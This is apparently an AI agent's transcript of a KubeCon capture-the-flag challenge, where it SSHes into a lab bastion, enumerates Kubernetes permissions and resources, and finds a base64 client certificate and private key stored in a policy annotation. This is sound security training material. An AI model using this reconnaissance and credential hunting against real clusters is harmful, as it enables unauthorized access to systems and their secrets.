total 20 drwxrwxr-x 2 claude claude 4096 Mar 25 11:04 . drwxrwxrwt 19 root root 4096 Mar 25 11:03 .. -rw------- 1 claude claude 169 Mar 25 10:45 simulator_config -rw-r--r-- 1 claude claude 203 Mar 25 10:47 simulator_known_hosts -rw------- 1 claude claude 3247 Mar 25 10:42 simulator_rsa
1→Host bastion 35.179.133.134
2→ Hostname 35.179.133.134
3→ User player
4→ RequestTTY force
5→ IdentityFile simulator_rsa
6→ UserKnownHostsFile simulator_known_hosts
7→Host bastion 35.179.133.134
Hostname 35.179.133.134
User player
RequestTTY force
IdentityFile /tmp/challenge-2/simulator_rsa
UserKnownHostsFile /tmp/challenge-2/simulator_known_hosts
chmod 600 /tmp/challenge-2/simulator_rsa && ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '===MOTD_END===' kubectl auth whoami 2>&1 echo '===SEP===' kubectl auth can-i --list 2>&1 echo '===SEP===' kubectl get ns 2>&1 echo '===SEP===' kubectl api-resources 2>&1 echo '===SEP===' kubectl get all -A 2>&1 exit SSHEOF
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo '===MOTD_END==='
kubectl auth whoami 2>&1
echo '===SEP==='
kubectl auth can-i --list 2>&1
echo '===SEP==='
kubectl get ns 2>&1
echo '===SEP==='
kubectl api-resources 2>&1
echo '===SEP==='
kubectl get all -A 2>&1
exit
echo '===MOTD_END==='
kubectl auth whoami 2>&1
echo '===SEP==='
kubectl auth can-i --list 2>&1
echo '===SEP==='
kubectl get ns 2>&1
echo '===SEP==='
kubectl api-resources 2>&1
echo '===SEP==='
kubectl get all -A 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '===MOTD_END==='
[?2004l===MOTD_END===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth whoami 2>&1
[?2004lATTRIBUTE VALUE
Username system:serviceaccount:default:jumppod
UID d747df38-2ad0-4f60-a328-80bbd5f5bce0
Groups [system:serviceaccounts system:serviceaccounts:default system:authenticated]
Extra: authentication.kubernetes.io/credential-id [JTI=da056b75-ce87-470e-80a5-32608eba8d5e]
Extra: authentication.kubernetes.io/node-name [node-1]
Extra: authentication.kubernetes.io/node-uid [dfb10bdc-f129-4d70-80e7-0ceda73cfe92]
Extra: authentication.kubernetes.io/pod-name [jumppod-cd5dfbd7-m4b2w]
Extra: authentication.kubernetes.io/pod-uid [c38878da-78a0-432d-a08c-c00d3d136f77]
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list 2>&1
[?2004lResources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get watch list]
services [] [] [get watch list]
clienttrafficpolicies.gateway.envoyproxy.io [] [] [get watch list]
envoyproxies.gateway.envoyproxy.io [] [] [get watch list]
gateways.gateway.networking.k8s.io [] [] [get watch list]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get ns 2>&1
[?2004lNAME STATUS AGE
backend Active 14m
default Active 16m
envoy-gateway-system Active 14m
kube-node-lease Active 16m
kube-public Active 16m
kube-system Active 16m
linkerd Active 15m
production Active 14m
supersecret Active 14m
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl api-resources 2>&1
[?2004lNAME SHORTNAMES APIVERSION NAMESPACED KIND
bindings v1 true Binding
componentstatuses cs v1 false ComponentStatus
configmaps cm v1 true ConfigMap
endpoints ep v1 true Endpoints
events ev v1 true Event
limitranges limits v1 true LimitRange
namespaces ns v1 false Namespace
nodes no v1 false Node
persistentvolumeclaims pvc v1 true PersistentVolumeClaim
persistentvolumes pv v1 false PersistentVolume
pods po v1 true Pod
podtemplates v1 true PodTemplate
replicationcontrollers rc v1 true ReplicationController
resourcequotas quota v1 true ResourceQuota
secrets v1 true Secret
serviceaccounts sa v1 true ServiceAccount
services svc v1 true Service
mutatingwebhookconfigurations admissionregistration.k8s.io/v1 false MutatingWebhookConfiguration
validatingadmissionpolicies admissionregistration.k8s.io/v1 false ValidatingAdmissionPolicy
validatingadmissionpolicybindings admissionregistration.k8s.io/v1 false ValidatingAdmissionPolicyBinding
validatingwebhookconfigurations admissionregistration.k8s.io/v1 false ValidatingWebhookConfiguration
customresourcedefinitions crd,crds apiextensions.k8s.io/v1 false CustomResourceDefinition
apiservices apiregistration.k8s.io/v1 false APIService
controllerrevisions apps/v1 true ControllerRevision
daemonsets ds apps/v1 true DaemonSet
deployments deploy apps/v1 true Deployment
replicasets rs apps/v1 true ReplicaSet
statefulsets sts apps/v1 true StatefulSet
selfsubjectreviews authentication.k8s.io/v1 false SelfSubjectReview
tokenreviews authentication.k8s.io/v1 false TokenReview
localsubjectaccessreviews authorization.k8s.io/v1 true LocalSubjectAccessReview
selfsubjectaccessreviews authorization.k8s.io/v1 false SelfSubjectAccessReview
selfsubjectrulesreviews authorization.k8s.io/v1 false SelfSubjectRulesReview
subjectaccessreviews authorization.k8s.io/v1 false SubjectAccessReview
horizontalpodautoscalers hpa autoscaling/v2 true HorizontalPodAutoscaler
cronjobs cj batch/v1 true CronJob
jobs batch/v1 true Job
certificatesigningrequests csr certificates.k8s.io/v1 false CertificateSigningRequest
leases coordination.k8s.io/v1 true Lease
bgpconfigurations crd.projectcalico.org/v1 false BGPConfiguration
bgpfilters crd.projectcalico.org/v1 false BGPFilter
bgppeers crd.projectcalico.org/v1 false BGPPeer
blockaffinities crd.projectcalico.org/v1 false BlockAffinity
caliconodestatuses crd.projectcalico.org/v1 false CalicoNodeStatus
clusterinformations crd.projectcalico.org/v1 false ClusterInformation
felixconfigurations crd.projectcalico.org/v1 false FelixConfiguration
globalnetworkpolicies crd.projectcalico.org/v1 false GlobalNetworkPolicy
globalnetworksets crd.projectcalico.org/v1 false GlobalNetworkSet
hostendpoints crd.projectcalico.org/v1 false HostEndpoint
ipamblocks crd.projectcalico.org/v1 false IPAMBlock
ipamconfigs crd.projectcalico.org/v1 false IPAMConfig
ipamhandles crd.projectcalico.org/v1 false IPAMHandle
ippools crd.projectcalico.org/v1 false IPPool
ipreservations crd.projectcalico.org/v1 false IPReservation
kubecontrollersconfigurations crd.projectcalico.org/v1 false KubeControllersConfiguration
networkpolicies crd.projectcalico.org/v1 true NetworkPolicy
networksets crd.projectcalico.org/v1 true NetworkSet
stagedglobalnetworkpolicies crd.projectcalico.org/v1 false StagedGlobalNetworkPolicy
stagedkubernetesnetworkpolicies crd.projectcalico.org/v1 true StagedKubernetesNetworkPolicy
stagednetworkpolicies crd.projectcalico.org/v1 true StagedNetworkPolicy
tiers crd.projectcalico.org/v1 false Tier
endpointslices discovery.k8s.io/v1 true EndpointSlice
events ev events.k8s.io/v1 true Event
flowschemas flowcontrol.apiserver.k8s.io/v1 false FlowSchema
prioritylevelconfigurations flowcontrol.apiserver.k8s.io/v1 false PriorityLevelConfiguration
backends be gateway.envoyproxy.io/v1alpha1 true Backend
backendtrafficpolicies btp gateway.envoyproxy.io/v1alpha1 true BackendTrafficPolicy
clienttrafficpolicies ctp gateway.envoyproxy.io/v1alpha1 true ClientTrafficPolicy
envoyextensionpolicies eep gateway.envoyproxy.io/v1alpha1 true EnvoyExtensionPolicy
envoypatchpolicies epp gateway.envoyproxy.io/v1alpha1 true EnvoyPatchPolicy
envoyproxies eproxy gateway.envoyproxy.io/v1alpha1 true EnvoyProxy
httproutefilters hrf gateway.envoyproxy.io/v1alpha1 true HTTPRouteFilter
securitypolicies sp gateway.envoyproxy.io/v1alpha1 true SecurityPolicy
backendtlspolicies btlspolicy gateway.networking.k8s.io/v1 true BackendTLSPolicy
gatewayclasses gc gateway.networking.k8s.io/v1 false GatewayClass
gateways gtw gateway.networking.k8s.io/v1 true Gateway
grpcroutes gateway.networking.k8s.io/v1 true GRPCRoute
httproutes gateway.networking.k8s.io/v1 true HTTPRoute
referencegrants refgrant gateway.networking.k8s.io/v1beta1 true ReferenceGrant
tcproutes gateway.networking.k8s.io/v1alpha2 true TCPRoute
tlsroutes gateway.networking.k8s.io/v1alpha3 true TLSRoute
udproutes gateway.networking.k8s.io/v1alpha2 true UDPRoute
xbackendtrafficpolicies xbtrafficpolicy gateway.networking.x-k8s.io/v1alpha1 true XBackendTrafficPolicy
xlistenersets lset gateway.networking.x-k8s.io/v1alpha1 true XListenerSet
xmeshes mesh gateway.networking.x-k8s.io/v1alpha1 false XMesh
serviceprofiles sp linkerd.io/v1alpha2 true ServiceProfile
ingressclasses networking.k8s.io/v1 false IngressClass
ingresses ing networking.k8s.io/v1 true Ingress
ipaddresses ip networking.k8s.io/v1 false IPAddress
networkpolicies netpol networking.k8s.io/v1 true NetworkPolicy
servicecidrs networking.k8s.io/v1 false ServiceCIDR
runtimeclasses node.k8s.io/v1 false RuntimeClass
poddisruptionbudgets pdb policy/v1 true PodDisruptionBudget
authorizationpolicies authzpolicy policy.linkerd.io/v1alpha1 true AuthorizationPolicy
egressnetworks policy.linkerd.io/v1alpha1 true EgressNetwork
httplocalratelimitpolicies policy.linkerd.io/v1alpha1 true HTTPLocalRateLimitPolicy
httproutes policy.linkerd.io/v1beta3 true HTTPRoute
meshtlsauthentications meshtlsauthn policy.linkerd.io/v1alpha1 true MeshTLSAuthentication
networkauthentications netauthn,networkauthn policy.linkerd.io/v1alpha1 true NetworkAuthentication
serverauthorizations saz,serverauthz,srvauthz policy.linkerd.io/v1beta1 true ServerAuthorization
servers srv policy.linkerd.io/v1beta3 true Server
adminnetworkpolicies anp policy.networking.k8s.io/v1alpha1 false AdminNetworkPolicy
baselineadminnetworkpolicies banp policy.networking.k8s.io/v1alpha1 false BaselineAdminNetworkPolicy
clusterrolebindings rbac.authorization.k8s.io/v1 false ClusterRoleBinding
clusterroles rbac.authorization.k8s.io/v1 false ClusterRole
rolebindings rbac.authorization.k8s.io/v1 true RoleBinding
roles rbac.authorization.k8s.io/v1 true Role
deviceclasses resource.k8s.io/v1 false DeviceClass
resourceclaims resource.k8s.io/v1 true ResourceClaim
resourceclaimtemplates resource.k8s.io/v1 true ResourceClaimTemplate
resourceslices resource.k8s.io/v1 false ResourceSlice
priorityclasses pc scheduling.k8s.io/v1 false PriorityClass
csidrivers storage.k8s.io/v1 false CSIDriver
csinodes storage.k8s.io/v1 false CSINode
csistoragecapacities storage.k8s.io/v1 true CSIStorageCapacity
storageclasses sc storage.k8s.io/v1 false StorageClass
volumeattachments storage.k8s.io/v1 false VolumeAttachment
volumeattributesclasses vac storage.k8s.io/v1 false VolumeAttributesClass
externalworkloads workload.linkerd.io/v1beta1 true ExternalWorkload
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get all -A 2>&1
[?2004lNAMESPACE NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
backend backend ClusterIP 10.104.138.143 <none> 8080/TCP 13m
default kubernetes ClusterIP 10.96.0.1 <none> 443/TCP 16m
envoy-gateway-system envoy-default-public-gateway-e00665ac NodePort 10.111.253.191 <none> 443:31707/TCP 13m
envoy-gateway-system envoy-gateway ClusterIP 10.109.102.81 <none> 18000/TCP,18001/TCP,18002/TCP,19001/TCP,9443/TCP 14m
kube-system kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 16m
linkerd linkerd-dst ClusterIP 10.96.29.48 <none> 8086/TCP 15m
linkerd linkerd-dst-headless ClusterIP None <none> 8086/TCP 15m
linkerd linkerd-identity ClusterIP 10.102.252.214 <none> 8080/TCP 15m
linkerd linkerd-identity-headless ClusterIP None <none> 8080/TCP 15m
linkerd linkerd-policy ClusterIP None <none> 8090/TCP 15m
linkerd linkerd-policy-validator ClusterIP 10.96.169.227 <none> 443/TCP 15m
linkerd linkerd-proxy-injector ClusterIP 10.104.184.137 <none> 443/TCP 15m
linkerd linkerd-sp-validator ClusterIP 10.103.170.24 <none> 443/TCP 15m
production receiver ClusterIP 10.101.36.19 <none> 8080/TCP 13m
supersecret supersecret ClusterIP 10.106.216.226 <none> 8080/TCP 13m
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "pods" in API group "" at the cluster scope
Error from server (Forbidden): replicationcontrollers is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "replicationcontrollers" in API group "" at the cluster scope
Error from server (Forbidden): daemonsets.apps is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "daemonsets" in API group "apps" at the cluster scope
Error from server (Forbidden): deployments.apps is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "deployments" in API group "apps" at the cluster scope
Error from server (Forbidden): replicasets.apps is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "replicasets" in API group "apps" at the cluster scope
Error from server (Forbidden): statefulsets.apps is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "statefulsets" in API group "apps" at the cluster scope
Error from server (Forbidden): horizontalpodautoscalers.autoscaling is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "horizontalpodautoscalers" in API group "autoscaling" at the cluster scope
Error from server (Forbidden): cronjobs.batch is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "cronjobs" in API group "batch" at the cluster scope
Error from server (Forbidden): jobs.batch is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "jobs" in API group "batch" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 35.179.133.134 closed."Operation: Shadow Mesh" — a Linkerd service mesh challenge with an Envoy Gateway requiring a client certificate. Let me dig deeper.
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== GATEWAY ===' kubectl get gateways -A -o yaml 2>&1 echo '=== CTP ===' kubectl get clienttrafficpolicies -A -o yaml 2>&1 echo '=== ENVOYPROXY ===' kubectl get envoyproxies -A -o yaml 2>&1 echo '=== PERMS DEFAULT ===' kubectl auth can-i --list -n default 2>&1 echo '=== PERMS BACKEND ===' kubectl auth can-i --list -n backend 2>&1 echo '=== PERMS PRODUCTION ===' kubectl auth can-i --list -n production 2>&1 echo '=== PERMS SUPERSECRET ===' kubectl auth can-i --list -n supersecret 2>&1 echo '=== PERMS ENVOY ===' kubectl auth can-i --list -n envoy-gateway-system 2>&1 echo '=== PERMS LINKERD ===' kubectl auth can-i --list -n linkerd 2>&1 exit SSHEOF
<persisted-output>
Output too large (32.9KB). Full output saved to: /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bjucdh8f0.txt
Preview (first 2KB):
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo '=== GATEWAY ==='
kubectl get gateways -A -o yaml 2>&1
echo '=== CTP ==='
...
</persisted-output>{
"file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bjucdh8f0.txt",
"offset": 60
} 60→echo '=== PERMS ENVOY ==='
61→kubectl auth can-i --list -n envoy-gateway-system 2>&1
62→echo '=== PERMS LINKERD ==='
63→kubectl auth can-i --list -n linkerd 2>&1
64→exit
65→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== GATEWAY ==='
66→[?2004l=== GATEWAY ===
67→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get gateways -A -o yaml 2>&1
68→[?2004lapiVersion: v1
69→items:
70→- apiVersion: gateway.networking.k8s.io/v1
71→ kind: Gateway
72→ metadata:
73→ creationTimestamp: "2026-03-25T10:51:19Z"
74→ generation: 1
75→ name: public-gateway
76→ namespace: default
77→ resourceVersion: "1848"
78→ uid: 7aa88e28-99e5-420e-88f2-9652a3cc73c7
79→ spec:
80→ gatewayClassName: eg
81→ listeners:
82→ - allowedRoutes:
83→ namespaces:
84→ from: All
85→ name: https
86→ port: 443
87→ protocol: HTTPS
88→ tls:
89→ certificateRefs:
90→ - group: ""
91→ kind: Secret
92→ name: certs
93→ mode: Terminate
94→ status:
95→ addresses:
96→ - type: IPAddress
97→ value: 10.0.199.242
98→ - type: IPAddress
99→ value: 10.0.186.255
100→ - type: IPAddress
101→ value: 10.0.155.145
102→ conditions:
103→ - lastTransitionTime: "2026-03-25T10:51:30Z"
104→ message: The Gateway has been scheduled by Envoy Gateway
105→ observedGeneration: 1
106→ reason: Accepted
107→ status: "True"
108→ type: Accepted
109→ - lastTransitionTime: "2026-03-25T10:51:30Z"
110→ message: Address assigned to the Gateway, 1/1 envoy replicas available
111→ observedGeneration: 1
112→ reason: Programmed
113→ status: "True"
114→ type: Programmed
115→ listeners:
116→ - attachedRoutes: 1
117→ conditions:
118→ - lastTransitionTime: "2026-03-25T10:51:30Z"
119→ message: Sending translated listener configuration to the data plane
120→ observedGeneration: 1
121→ reason: Programmed
122→ status: "True"
123→ type: Programmed
124→ - lastTransitionTime: "2026-03-25T10:51:30Z"
125→ message: Listener has been successfully translated
126→ observedGeneration: 1
127→ reason: Accepted
128→ status: "True"
129→ type: Accepted
130→ - lastTransitionTime: "2026-03-25T10:51:30Z"
131→ message: Listener references have been resolved
132→ observedGeneration: 1
133→ reason: ResolvedRefs
134→ status: "True"
135→ type: ResolvedRefs
136→ name: https
137→ supportedKinds:
138→ - group: gateway.networking.k8s.io
139→ kind: HTTPRoute
140→ - group: gateway.networking.k8s.io
141→ kind: GRPCRoute
142→kind: List
143→metadata:
144→ resourceVersion: ""
145→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== CTP ==='
146→[?2004l=== CTP ===
147→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get clienttrafficpolicies -A -o yaml 2>&1 [A]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get clienttrafficpolicies -A -o yaml 2>&[K1
148→[?2004lapiVersion: v1
149→items:
150→- apiVersion: gateway.envoyproxy.io/v1alpha1
151→ kind: ClientTrafficPolicy
152→ metadata:
153→ annotations:
154→ author: [email protected]
155→ cert: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURHRENDQWdDZ0F3SUJBZ0lVR09JTEpOWSttdmhCQThMYmJPM2w4eWQrYmlvd0RRWUpLb1pJaHZjTkFRRUwKQlFBd0xERVVNQklHQTFVRUNnd0xUR2x1YTJWeVpDMURWRVl4RkRBU0JnTlZCQU1NQzB4cGJtdGxjbVF0UTFSRwpNQjRYRFRJMk1ESXhPREE0TlRnek5Wb1hEVE0yTURJeE5qQTROVGd6TlZvd0hERWFNQmdHQTFVRUF3d1JUR2x1CmEyVnlaRU5zYVdWdWRGVnpaWEl3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQ3UKKy90MVJsQ2FTa0NnVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWQp4WUVLWDRBSitpY1ZMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZCjJnT0Z6MWNrQ3lub0VsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2oKSS9ScDJRU3JWcndDWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NQpqTHBpNHJseFVieGZpTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrCjRtbTljL3ptdUQ2K2tDVC8rTjhyQWdNQkFBR2pRakJBTUIwR0ExVWREZ1FXQkJUN2xLcmVqZHh3Q3UxcHpCaXMKYTNNVEhoeGFtVEFmQmdOVkhTTUVHREFXZ0JSY1dka0I4TUZSMFp6aFJFWjRoM0s5WUkvN1h6QU5CZ2txaGtpRwo5dzBCQVFzRkFBT0NBUUVBUGwxaDlYUFg5Wmx1VnZvdDhLbnY2Q0c1dlBXUFhoSnA4eHVzSkRTQm5Wd3A3UWkzCjdHcy9Sbi9uSU5TMlc2WTdQNy85YjMvQ2l1NEE2cjEvczhPOGJWYjBMdFV6TWNoSGhsQlpsV2grOEtUcS9aeGIKU29hUm9pYU1hcUlRYmVYUWxtZlErTy9wQ2xpMVlnY2plNU9kcHZmK0JTSGo5c3daV3ZNOVFnalVUVEExTmJtVwo1UWhDdkdOUW1JNXZwbVFwb1hzR05EMW5zSUtscWF5elZyMlp3L1BpTnA4cnQwbTFjL0tjRjZscVZVeW1YOEZJCjBKMldKQ09hN3BOZGNzbzIxZzcvZHVkWWJ2MHlSWWtnUDFQUkNOU1huNE1sU0t5aG9HMFZ1dENPcDhEeW85RVIKQ05GUmJXSU0wZFJ5MUM2WCtCUnBqbzNNdVFKU2xRZVpnY1JOZnc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
156→ comment: putting the cert and key here so they don't get lost :)
157→ key: LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dnU2tBZ0VBQW9JQkFRQ3UrL3QxUmxDYVNrQ2cKVnZyMDRldXFMZktYNkVqeDFDVnZYUXJpdHZYZ2RoL2Y4ZlROQVluaHBuUDNxNEJCTlJSWXhZRUtYNEFKK2ljVgpMTkZvVzBEaHp6UUpzaktJY1loY2RSMXliSUZnOHNSclZKd0VkaDVsbWRSRFJPNlkvbW1ZMmdPRnoxY2tDeW5vCkVsMGt3M0szbzNGSHdWL2dvNWxUR3RheU5NNGsxVVI1NUlaNjh1WGROUk5GU1pzSGtqU2pJL1JwMlFTclZyd0MKWkNqRUh2NnJWem1XdjFvaFIwMTY1TUxxcWZUdnRDNVpKMzg5MFNlUzBnaFZ1c29ma3c5NWpMcGk0cmx4VWJ4ZgppTkZsWUM1NFA2SVdJOHcvUnMvN2lIWVZvaUxiWFRZOXNDdUR4TnZBcUpVZ3Bsd0h1YXYrNG1tOWMvem11RDYrCmtDVC8rTjhyQWdNQkFBRUNnZ0VBQ2pJNzN0QldmRzE4ejFzQ0pWdWN2ZGZia1BRUWZCQ0U5ZWZlYlZCUmlxdjkKMEVwckJCOFkxSUdpNTNqVm8vY1IxTmpLS0lndHFXY3JYd2ptdVVXVXhlQjMwRERUTnBXOVp5OW5DcW5YSWJuZApSMXZLWUZuR2N0eFoxbW1oZFpNdGl6dkZ0L255OVl2by9BUjVIcEZKeE1XWnV3WGJsTVBOUlY3UnlYRlpkb2w4CmZidHlhRkswdWY3T0krclhkTk5henQrSHRQZmZscHRaUkh4dy9XU2l6OHlldVB5QTNvYWEvbHBXb21uY0M2VTQKZXpJbzZiaUxEWFgyKzgwblc2bFI4VnZQa0daL1B1Y2lMa3c3enhJbDNDZU1tVGxCR29hemlSaGM4YkRYK3BiOApWR0JXd3Y3VDJFMk4zSEk1QmxCTlNOYWdyc0ZueEF0dFpyaURNeUtRVVFLQmdRRGlpUW9SMXJIbHdPMmFrRG5oCis1OVpFTVplRG9MSk1SNHkraUoycGY1V3Z3R1lEaVFrNXRMc3FkVWZOM2EwSS9ZNFRTYUtnTFkrbCs2ZCtKWHMKLzdpNE9YbktFSGtZeE9SYk1hcU1jNGJZalVTU29mOG9DTlpGc1BzaFh1VkRRTFJyL0hoV09nK3ZlQ21WekxPSwoyZ1hjckdMUmdhUEo4YWI1UUg2WnBXSjBWUUtCZ1FERnZuSWpGaklGWmtyWFVKTVRrWkRMUjZuNGFWeTg0VHZYCmg2dzlLYnlSMmpFMVhOZkt3akwwcVkzZTIwRk0wTExGV2F0Mm94ckFQNHZWN3UwbFFVV3VCK01LR24vMkVLS2QKVmZ0bzVXL0l2cmp3UGtGa1JqaEFnc015ODFPUlEwSlprWWwy